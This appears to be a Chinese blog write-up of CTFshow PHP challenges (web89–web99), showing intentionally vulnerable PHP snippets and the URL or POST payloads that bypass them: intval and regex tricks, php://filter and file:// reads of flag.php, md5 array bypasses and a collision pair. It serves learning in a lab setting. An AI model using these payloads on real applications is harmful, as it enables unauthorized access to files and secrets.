[基础补漏]CTFshow php特性篇(待续)

本文详细介绍了CTF比赛中涉及的PHP特性及其在安全漏洞利用上的技巧,包括数组绕过正则、intval函数的巧妙利用、换行绕过、文件包含、变量覆盖等,适合PHP安全学习者参考。
摘要由CSDN通过智能技术生成

web89

考点:数组绕过正则表达式

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
   
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
   
        die("no no no!");
    }
    if(intval($num)){
   
        echo $flag;
    }
}

直接数组绕过

<?php
$num = array('A');
print(intval($num));
//1
?>
?num[]=1

web90

考点:intval函数的小trick

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   
    $num = $_GET['num'];
    if($num==="4476"){
   
        die("no no no!");
    }
    if(intval($num,0)===4476){
   
        echo $flag;
    }else{
   
        echo intval($num,0);
    }
}

第一种解

intval是取整数,直接float绕过

?num=4476.1

第二种解

intval遇到字符会停止,可以在后面加一个字符绕过

?num=4476e

第三种解

intval第一位如果遇到空格会默认继续读取,在前面加一个空格绕过

?num=%204476

web91

考点:换行绕过正则匹配

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
   
    if(preg_match('/^php$/i', $a)){
   
        echo 'hacker';
    }
    else{
   
        echo $flag;
    }
}
else{
   
    echo 'nonononono';
}

第一个使用多行匹配,第二个未使用,直接换行符绕过

?cmd=php%0a%0b

web92

考点:intval函数的小trick

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   
    $num = $_GET['num'];
    if($num==4476){
   
        die("no no no!");
    }
    if(intval($num,0)==4476){
   
        echo $flag;
    }else{
   
        echo intval($num,0);
    }
}

第一种解:

老手法,float绕过

第二种解:

intval会把e当做科学计数法

?num=4476e213

web93

考点:intval函数的小trick

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   
    $num = $_GET['num'];
    if($num==4476){
   
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
   
        die("no no no!");
    }
    if(intval($num,0)==4476){
   
        echo $flag;
    }else{
   
        echo intval($num,0);
    }
}

第一种解:

仍可以float类型绕

?num=4476.1

第二种解:

intval可以解析二进制八进制十六进制等等

这里可以直接八进制绕过

?num=010574

web94

考点:intval函数的小trick + strpos小trick

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   
    $num = $_GET['num'];
    if($num==="4476"){
   
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
   
        die("no no no!");
    }
    if(!strpos($num, "0")){
   
        die("no no no!");
    }
    if(intval($num,0)===4476){
   
        echo $flag;
    }
}

第一种解:

float继续梭

?num=4476.0

第二种解:

八进制配合%0a换行直接梭,strpos不会匹配换行后的内容

?num=%0a010574

第三种解:

空格配合八进制

?num=%20010574

web95

考点:intval函数的小trick + strpos小trick

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   
    $num = $_GET['num'];
    if($num==4476){
   
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
   
        die("no no no!!");
    }
    if(!strpos($num, "0")){
   
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
   
        echo $flag;
    }
}

第一种解:

八进制配合%0a换行直接梭,strpos不会匹配换行后的内容

第二种解:

空格配合八进制

第三种解:

?num=+010574

web96

考点:highlight_file对目录处理上的小trick

highlight_file(__FILE__);

if(isset($_GET['u'])){
   
    if($_GET['u']=='flag.php'){
   
        die("no no no");
    }else{
   
        highlight_file($_GET['u']);
    }
}

文件包含的一些小细节

?u=./flag.php
?u=/1/../flag.php
?u=php://filter/read=convert.base64-encode/resource=flag.php
?u=file:///var/www/html/flag.php

web97

考点:md5处理数组上的漏洞

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
   
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

第一种解:

md5处理数组会返回空,直接可以绕过

[POST]
a[]=1&b[]=2

第二种解:

md5强类型碰撞

[POST]
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

php的三元运算

如果get传参存在,就用post传参覆盖,然后最后需要让get传参的HTTP_FLAG参数为flag

[GET]
?flag=123
[POST]
HTTP_FLAG=flag

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
    
    array_push($allow, rand(1</
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值